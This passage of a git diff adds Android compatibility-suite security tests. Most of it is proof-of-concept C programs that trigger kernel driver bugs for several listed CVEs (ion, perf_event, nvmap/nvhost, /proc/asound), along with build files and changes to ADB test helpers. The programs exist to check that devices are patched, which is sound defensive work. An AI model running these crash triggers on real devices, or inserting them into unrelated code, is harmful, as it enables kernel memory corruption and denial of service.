+	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
+	if(ret)
+		ERR("[-] ioctl NVMAP_IOC_CREATE failed");
+	else
+		LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle);
+
+	dma1 = args.handle;
+	err1.mem = dma1;
+	alloc.handle = dma1;
+
+	ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc);
+	if(ret)
+		ERR("[-] ioctl NVMAP_IOC_ALLOC failed");
+	else
+		LOG("[+] NVMAP_IOC_ALLOC succeeded");
+
+	/* create close thread */
+	attack = 1;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
+	}
+	LOG("[+] running...");
+	while(1) {
+		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit);
+	}
+
+	LOG("[-] passed :(");
+	attack = 0;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++) {
+		pthread_join(close_thread_id[i], NULL);
+	}
+
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
new file mode 100644
index 0000000..95ddb3d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-9120
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
new file mode 100644
index 0000000..c03ee45
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+typedef int ion_user_handle_t;
+
+enum ion_heap_type {
+	ION_HEAP_TYPE_SYSTEM,
+	ION_HEAP_TYPE_SYSTEM_CONTIG,
+	ION_HEAP_TYPE_CARVEOUT,
+	ION_HEAP_TYPE_CHUNK,
+	ION_HEAP_TYPE_DMA,
+	ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
+				 are at the end of this enum */
+	ION_NUM_HEAPS = 16,
+};
+
+#define ION_HEAP_SYSTEM_MASK		(1 << ION_HEAP_TYPE_SYSTEM)
+#define ION_HEAP_SYSTEM_CONTIG_MASK	(1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
+#define ION_HEAP_CARVEOUT_MASK		(1 << ION_HEAP_TYPE_CARVEOUT)
+#define ION_HEAP_TYPE_DMA_MASK		(1 << ION_HEAP_TYPE_DMA)
+
+#define ION_NUM_HEAP_IDS		sizeof(unsigned int) * 8
+
+struct ion_allocation_data {
+	size_t len;
+	size_t align;
+	unsigned int heap_id_mask;
+	unsigned int flags;
+	ion_user_handle_t handle;
+};
+
+
+struct ion_fd_data {
+	ion_user_handle_t handle;
+	int fd;
+};
+
+
+struct ion_handle_data {
+	ion_user_handle_t handle;
+};
+
+
+struct ion_custom_data {
+	unsigned int cmd;
+	unsigned long arg;
+};
+#define ION_IOC_MAGIC		'I'
+
+#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
+				      struct ion_allocation_data)
+
+#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+
+#define ION_FLAG_CACHED 1		/* mappings of this buffer should be
+					   cached, ion will do cache
+					   maintenance when the buffer is
+					   mapped for dma */
+#define ION_FLAG_CACHED_NEEDS_SYNC 2	/* mappings of this buffer will created
+					   at mmap time, if this is set
+					   caches must be managed manually */
+                       
+int g_fd = -1;
+struct ion_allocation_data* g_allocation = NULL;
+struct ion_handle_data g_free_data;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+
+int open_driver() {
+    char* dev_path = "/dev/ion";
+    g_fd = open(dev_path, O_RDONLY);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+void prepare_data() {
+    void* data = malloc(0x1000);
+    
+    g_allocation = (struct ion_allocation_data*)data;
+    
+    g_allocation->len = 0x1000;
+    g_allocation->align = 8;
+    g_allocation->heap_id_mask = 1 << 25;
+    g_allocation->flags = ION_FLAG_CACHED;
+    g_allocation->handle = -1;
+    
+    mprotect(data, 0x1000, PROT_READ);
+    printf("[*] mprotect, error = %d\n", errno);
+    
+    g_free_data.handle = 1;
+}
+
+void trigger_ion_alloc() {
+    ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
+}
+
+void trigger_ion_free() {
+    ioctl(g_fd, ION_IOC_FREE, &g_free_data);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+    }
+}
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    while (1) {
+        pthread_mutex_lock(&mutex);
+        pthread_cond_wait(&cond, &mutex);
+        trigger_ion_free();
+        pthread_mutex_unlock(&mutex);  
+    }
+    
+}
+
+
+int main(int argc, char**argv) {
+    if (open_driver() < 0) {
+        return -1;
+    }
+    setup_privi_and_affinity(0, 1);
+    prepare_data();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    sleep(1);
+    while (1) {
+        pthread_cond_signal(&cond);
+        usleep(100);
+        trigger_ion_alloc();
+        sleep(1);
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
new file mode 100644
index 0000000..cb31e4d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0403
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
new file mode 100644
index 0000000..51095e7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
@@ -0,0 +1,233 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+//overwrite object+0x20,like a list initilize
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <sys/wait.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+
+
+struct perf_event_attr {
+
+  /*
+   * Major type: hardware/software/tracepoint/etc.
+   */
+  __u32     type;
+
+  /*
+   * Size of the attr structure, for fwd/bwd compat.
+   */
+  __u32     size;
+
+  /*
+   * Type specific configuration information.
+   */
+  __u64     config;
+
+  union {
+    __u64   sample_period;
+    __u64   sample_freq;
+  };
+
+  __u64     sample_type;
+  __u64     read_format;
+
+  __u64     disabled       :  1, /* off by default        */
+        inherit        :  1, /* children inherit it   */
+        pinned         :  1, /* must always be on PMU */
+        exclusive      :  1, /* only group on PMU     */
+        exclude_user   :  1, /* don't count user      */
+        exclude_kernel :  1, /* ditto kernel          */
+        exclude_hv     :  1, /* ditto hypervisor      */
+        exclude_idle   :  1, /* don't count when idle */
+        mmap           :  1, /* include mmap data     */
+        comm         :  1, /* include comm data     */
+        freq           :  1, /* use freq, not period  */
+        inherit_stat   :  1, /* per task counts       */
+        enable_on_exec :  1, /* next exec enables     */
+        task           :  1, /* trace fork/exit       */
+        watermark      :  1, /* wakeup_watermark      */
+        /*
+         * precise_ip:
+         *
+         *  0 - SAMPLE_IP can have arbitrary skid
+         *  1 - SAMPLE_IP must have constant skid
+         *  2 - SAMPLE_IP requested to have 0 skid
+         *  3 - SAMPLE_IP must have 0 skid
+         *
+         *  See also PERF_RECORD_MISC_EXACT_IP
+         */
+        precise_ip     :  2, /* skid constraint       */
+        mmap_data      :  1, /* non-exec mmap data    */
+        sample_id_all  :  1, /* sample_type all events */
+
+        exclude_host   :  1, /* don't count in host   */
+        exclude_guest  :  1, /* don't count in guest  */
+
+        exclude_callchain_kernel : 1, /* exclude kernel callchains */
+        exclude_callchain_user   : 1, /* exclude user callchains */
+        constraint_duplicate : 1,
+
+        __reserved_1   : 40;
+
+  union {
+    __u32   wakeup_events;    /* wakeup every n events */
+    __u32   wakeup_watermark; /* bytes before wakeup   */
+  };
+
+  __u32     bp_type;
+  union {
+    __u64   bp_addr;
+    __u64   config1; /* extension of config */
+  };
+  union {
+    __u64   bp_len;
+    __u64   config2; /* extension of config1 */
+  };
+  __u64 branch_sample_type; /* enum perf_branch_sample_type */
+
+  /*
+   * Defines set of user regs to dump on samples.
+   * See asm/perf_regs.h for details.
+   */
+  __u64 sample_regs_user;
+
+  /*
+   * Defines size of the user stack to dump on samples.
+   */
+  __u32 sample_stack_user;
+
+  /* Align to u64. */
+  __u32 __reserved_2;
+};
+
+
+#define PAIR_FD 1
+
+int group_fd[PAIR_FD],child_fd[PAIR_FD];
+
+long created = 0;
+long freed = 0;
+long finished = 0;
+
+void *thr(void *arg) {
+  printf("id=%d arg=%d\n",gettid(),arg);
+
+  int i;
+  struct perf_event_attr attr;
+
+  switch ((long)arg) {
+  case 0:
+    //#16123
+    printf("thread 0\n");
+    memset(&attr,0,sizeof(struct perf_event_attr));
+    attr.type = 1;
+    attr.size = sizeof(struct perf_event_attr);
+    attr.config = 1;
+
+      group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
+                    -1, 0x1ul, 0);
+
+      if(group_fd[0]<0){
+        perror("perf-group:");
+      }
+
+
+    memset(&attr,0,sizeof(struct perf_event_attr));
+    attr.type = 1;
+    attr.size = sizeof(struct perf_event_attr);
+    attr.config = 5;
+
+      child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
+
+      if(group_fd[0]<0){
+        perror("perf-child:");
+      }
+
+    created = 1;
+    break;
+  case 1:
+
+    while(!created){
+      sleep(1);
+    }
+
+    printf("thread 1\n");
+    close(group_fd[0]);
+
+    freed = 1;
+
+    break;
+  case 2:
+
+    printf("thread 2\n");
+
+    while(!freed){
+      sleep(1);
+    }
+
+      close(child_fd[0]);
+
+    finished = 1;
+
+    break;
+
+  }
+  return 0;
+}
+
+int poc() {
+  long i;
+  pthread_t th[5];
+  for (i = 0; i < 3; i++) {
+    pthread_create(&th[i], 0, thr, (void *)i);
+    usleep(10000);
+  }
+
+  while(!finished){
+    sleep(1);
+  }
+
+  return 0;
+}
+
+
+int main(int argc, char const *argv[])
+{
+  int pid;
+  unsigned int times;
+  times = 0;
+  printf("POC3\n");
+  printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
+  fflush(stdout);
+
+  // while(1){
+    pid = fork();
+    if(pid){
+      int status;
+      int ret = waitpid(pid,&status,0);
+
+      printf("[%d]times.\r",times);
+      times++;
+    }else
+      return poc();
+  // }
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
new file mode 100644
index 0000000..9e30d30
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0404
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
new file mode 100644
index 0000000..54821ef
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/prctl.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <pthread.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <semaphore.h>
+#include <sys/socket.h>
+#include <sys/mman.h>
+#include <signal.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <sys/utsname.h>
+#include <sys/ptrace.h>
+
+char buf[4096];
+
+int main(int argc, char const *argv[]){
+	memset(buf, 0xa0, sizeof(buf));
+
+	int fd = open("/proc/asound/version", O_RDWR);
+	if(fd != -1){
+		lseek(fd, 0x1234567800000000, SEEK_SET);
+		write(fd, buf, sizeof(buf));
+	}else{
+		perror("open error\n");
+	}
+	close(fd);
+	return 0;
+}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
new file mode 100644
index 0000000..afb77b4
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0429
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
new file mode 100644
index 0000000..4ef1b3e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+// for syscall
+#include <sys/syscall.h>
+// for futex
+#include <linux/futex.h>
+#include <sys/time.h>
+
+#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+#define NVMAP_IOC_MAGIC 'N'
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ 	return ret;
+}
+
+#define SZ_128K				0x00020000
+#define NVHOST_AS_IOCTL_MAGIC 'A'
+struct nvhost_as_bind_channel_args {
+	__u32 channel_fd; /* in */
+} __packed;
+#define NVHOST_AS_IOCTL_BIND_CHANNEL \
+	_IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
+
+struct nvhost_as_free_space_args {
+	__u64 offset; /* in, byte address */
+	__u32 pages;     /* in, pages */
+	__u32 page_size; /* in, bytes */
+};
+#define NVHOST_AS_IOCTL_FREE_SPACE \
+	_IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
+
+#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
+struct nvhost_as_alloc_space_args {
+	__u32 pages;     /* in, pages */
+	__u32 page_size; /* in, bytes */
+	__u32 flags;     /* in */
+	__u32 padding;     /* in */
+	union {
+		__u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
+		__u64 align;  /* in, alignment multiple (0:={1 or n/a}) */
+	} o_a;
+};
+#define NVHOST_AS_IOCTL_ALLOC_SPACE \
+	_IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
+
+#define CLOSE_THREAD_NUM	1
+#define TRY_TIMES		2
+#define NVMAPDEV	"/dev/nvmap"
+#define GPUDEV		"/dev/nvhost-gpu"
+#define ASDEV		"/dev/nvhost-as-gpu"
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+int nvmap, gpu, asgpu;
+volatile int attack;
+
+int main(void)
+{
+	int i, j, ret;
+	int dma1, dma2;
+	struct nvmap_create_handle args = { 
+		.size = PAGE_SIZE
+	};
+	struct nvhost_as_bind_channel_args as_bind = { 0 };
+	struct nvhost_as_alloc_space_args alloc = {
+		.pages = 1,
+		.page_size =  SZ_128K,
+		.flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
+	};
+	struct nvhost_as_free_space_args free_arg = {
+		.pages = 1,
+		.page_size = SZ_128K
+	};
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	nvmap = open(NVMAPDEV, O_RDONLY);
+	if(nvmap == -1) {
+		ERR("[-] open %s failed", NVMAPDEV);
+		goto __cleanup;
+	}
+	gpu = open(GPUDEV, O_RDONLY);
+	if(gpu == -1) {
+		ERR("[-] open %s failed", GPUDEV);
+		goto __cleanup;
+	}
+	asgpu = open(ASDEV, O_RDONLY);
+	if(asgpu == -1) {
+		ERR("[-] open %s failed", ASDEV);
+		goto __cleanup;
+	}
+	// bind the channel
+	as_bind.channel_fd = gpu;
+	ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
+	if(ret == -1) {
+		ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
+		goto __cleanup;
+	} else {
+		//LOG("[+] ioctl OK, channel is bond");
+	}
+
+	#if 1
+	// prepare 
+	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
+	if(ret) {
+		ERR("[-] NVMAP_IOC_CREATE failed");
+		goto __cleanup;
+	}
+	#endif
+
+	ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
+	if(ret) {
+		ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
+		goto __cleanup;
+	}
+	free_arg.offset = alloc.o_a.offset;
+	ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
+	if(ret) {
+		ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
+		goto __cleanup;
+	}
+
+__cleanup:
+	close(nvmap);
+	close(gpu);
+	close(asgpu);
+	return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index a3018fa..f6a6f61 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -30,6 +30,8 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
 
 public class AdbUtils {
 
@@ -39,8 +41,7 @@
      * @param device device for the command to be ran on
      * @return the console output from running the command
      */
-    public static String runCommandLine(String command, ITestDevice device) throws Exception
-    {
+    public static String runCommandLine(String command, ITestDevice device) throws Exception {
         return device.executeShellCommand(command);
     }
 
@@ -51,17 +52,25 @@
      * @param device device to be ran on
      * @return the console output from the binary
      */
-    public static String runPoc(String pathToPoc, ITestDevice device) throws Exception {
-        String fullResourceName = pathToPoc;
-        File pocFile = File.createTempFile("poc", "");
-        try {
-            pocFile = extractResource(fullResourceName, pocFile);
-            device.pushFile(pocFile, "/data/local/tmp/poc");
-            device.executeShellCommand("chmod +x /data/local/tmp/poc");
-            return device.executeShellCommand("/data/local/tmp/poc");
-        } finally {
-            pocFile.delete();
-        }
+    public static String runPoc(String pocName, ITestDevice device) throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        return device.executeShellCommand("/data/local/tmp/" + pocName);
+    }
+
+    /**
+     * Pushes and runs a binary to the selected device
+     *
+     * @param pathToPoc a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @return the console output from the binary
+     */
+    public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
+        String output = receiver.getOutput();
+        return output;
     }
 
     /**
@@ -101,4 +110,27 @@
         }
 
     }
+
+    /**
+     * Runs an info disclosure related PoC, pulls logs from the device,
+     * and searches the logs for the info being disclosed.
+     * @param pocName string of the PoC name
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param pattern pattern of info being disclosed
+     * @return boolean returns false if the test fails, otherwise returns true
+     **/
+    public static boolean detectInformationDisclosure(
+        String pocName, ITestDevice device, int timeout, String pattern) throws Exception {
+
+           String pocOutput = runPoc(pocName, device, timeout);
+           if (Pattern.matches(pattern, pocOutput))
+             return false;
+
+           String logcatOutput = device.executeShellCommand("logcat -d");
+           if (Pattern.matches(pattern, logcatOutput))
+             return false;
+
+           return true;
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_10.java b/hostsidetests/security/src/android/security/cts/Poc16_10.java
new file mode 100644
index 0000000..d04ebea
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_10.java
@@ -0,0 +1,107 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
